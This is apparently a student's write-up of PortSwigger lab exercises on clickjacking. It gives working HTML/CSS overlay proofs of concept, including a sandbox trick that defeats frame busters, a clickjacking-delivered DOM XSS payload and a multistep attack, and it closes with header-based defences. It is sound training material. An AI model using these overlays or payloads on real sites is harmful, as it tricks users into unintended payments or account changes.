Clickjacking

Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website. Consider the following example:

A web user accesses a decoy website (perhaps this is a link provided by an email) and clicks on a button to win a prize. Unknowingly, they have been deceived by an attacker into pressing an alternative hidden button and this results in the payment of an account on another site. This is an example of a clickjacking attack. The technique depends upon the incorporation of an invisible, actionable web page (or multiple pages) containing a button or hidden link, say, within an iframe. The iframe is overlaid on top of the user’s anticipated decoy web page content. This attack differs from a CSRF attack in that the user is required to perform an action such as a button click whereas a CSRF attack depends upon forging an entire request without the user’s knowledge or input.

Basic Clickjacking Attack

Clickjacking attacks use CSS to create and manipulate layers. The attacker incorporates the target website as an iframe layer overlaid on the decoy website. An example using the style tag and parameters is as follows:

<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com">
	</iframe>
</body>

From the lab: The PoC for this one was modified to get the opacity just right, we had to keep testing.

<head>
<style>
    iframe {
        position:relative;
        width:700px;
        height: 620px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:530px;
        left:60px;
        z-index: 1;
    }
</style>
</head>
<body>
<div>Click me</div>
<iframe src="https://0a5a008204e0920281a6decd003b008e.web-security-academy.net/my-account"></iframe>
</body>

Automating with Clickbandit

Although you can manually create a clickjacking proof of concept as described above, this can be fairly tedious and time-consuming in practice. When you’re testing for clickjacking in the wild, we recommend using Burp’s Clickbandit tool instead. This lets you use your browser to perform the desired actions on the frameable page, then creates an HTML file containing a suitable clickjacking overlay. You can use this to generate an interactive proof of concept in a matter of seconds, without having to write a single line of HTML or CSS.

Clickjacking with form input data prefilled from a URL parameter

Go to the top-level Burp menu and select Burp Clickbandit.
Click Copy Clickbandit to clipboard to copy the Clickbandit script.
In your browser, visit the web page that you want to test.
In your browser, open the developer console. This might be called Developer tools or JavaScript console.
Paste the Clickbandit script into the developer console, and press enter.

The Clickbandit banner appears at the top of the browser window.

just click on what a victim might click on, and the actions will be recorded and saved.

Frame Busting Scripts

Frame busting techniques are often browser and platform specific and because of the flexibility of HTML they can usually be circumvented by attackers. As frame busters are JavaScript then the browser’s security settings may prevent their operation or indeed the browser might not even support JavaScript. An effective attacker workaround against frame busters is to use the HTML5 iframe sandbox attribute. When this is set with the allow-forms or allow-scripts values and the allow-top-navigation value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

Both the allow-forms and allow-scripts values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviors while allowing functionality within the targeted site.

The Lab: Clickjacking with a frame buster script Exploit:

<style>
    iframe {
        position:relative;
        width:700px;
        height: 500px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:440px;
        left:80px;
        z-index: 1;
    }
</style>
<div>Click Here!</div>
<iframe sandbox="allow-forms"
src="https://0a5d00aa0436cde7837b57f50081008e.web-security-academy.net/[email protected]"></iframe>

Combining clickjacking with a DOM XSS attack

Historically, clickjacking has been used to perform behaviors such as boosting “likes” on a Facebook page. However, the true potency of clickjacking is revealed when it is used as a carrier for another attack such as a DOM XSS attack.

The XSS exploit is then combined with the iframe target URL so that the user clicks on the button or link and consequently executes the DOM XSS attack. Exploit:

<style>
	iframe {
		position:relative;
		width:700px;
                height: 500px;
                opacity: 0.1;
		z-index: 2;
	}
	div {
		position:absolute;
		top:430px;
                left:80px;
		z-index: 1;
	}
</style>
<div>Click me</div>
<iframe
src="https://0aa0006103853f4181cf8e35004f001d.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&[email protected]&subject=test&message=test#feedbackResult"></iframe>

Multistep Clickjacking

Attacker manipulation of inputs to a target website may necessitate multiple actions. For example, an attacker might want to trick a user into buying something from a retail website so items need to be added to a shopping basket before the order is placed. These actions can be implemented by the attacker using multiple divisions or iframes. Such attacks require considerable precision and care from the attacker perspective if they are to be effective and stealthy.

PoC:

<style>
	iframe {
		position:relative;
		width:500px;
                height: 700px;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:528px;
                left:50px;
		z-index: 1;
	}
   .secondClick {
		top:288px;
                left:222px;
	}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a2600d104b08606808167450056009e.web-security-academy.net/my-account"></iframe>

🛡️ Preventing Clickjacking Attacks

To protect users from clickjacking attacks, implement the following HTTP security headers:

X-Frame-Options: DENY

Alternatively, for more granular control with modern browsers:

Content-Security-Policy: frame-ancestors 'none';

These headers instruct the browser to prevent the application from being embedded in <iframe> tags on unauthorized domains, mitigating the risk of UI redressing and deceptive interactions.

Recommended Action:

Ensure that either X-Frame-Options or the frame-ancestors directive in Content-Security-Policy is configured and returned in all HTTP responses, especially for authenticated or sensitive content.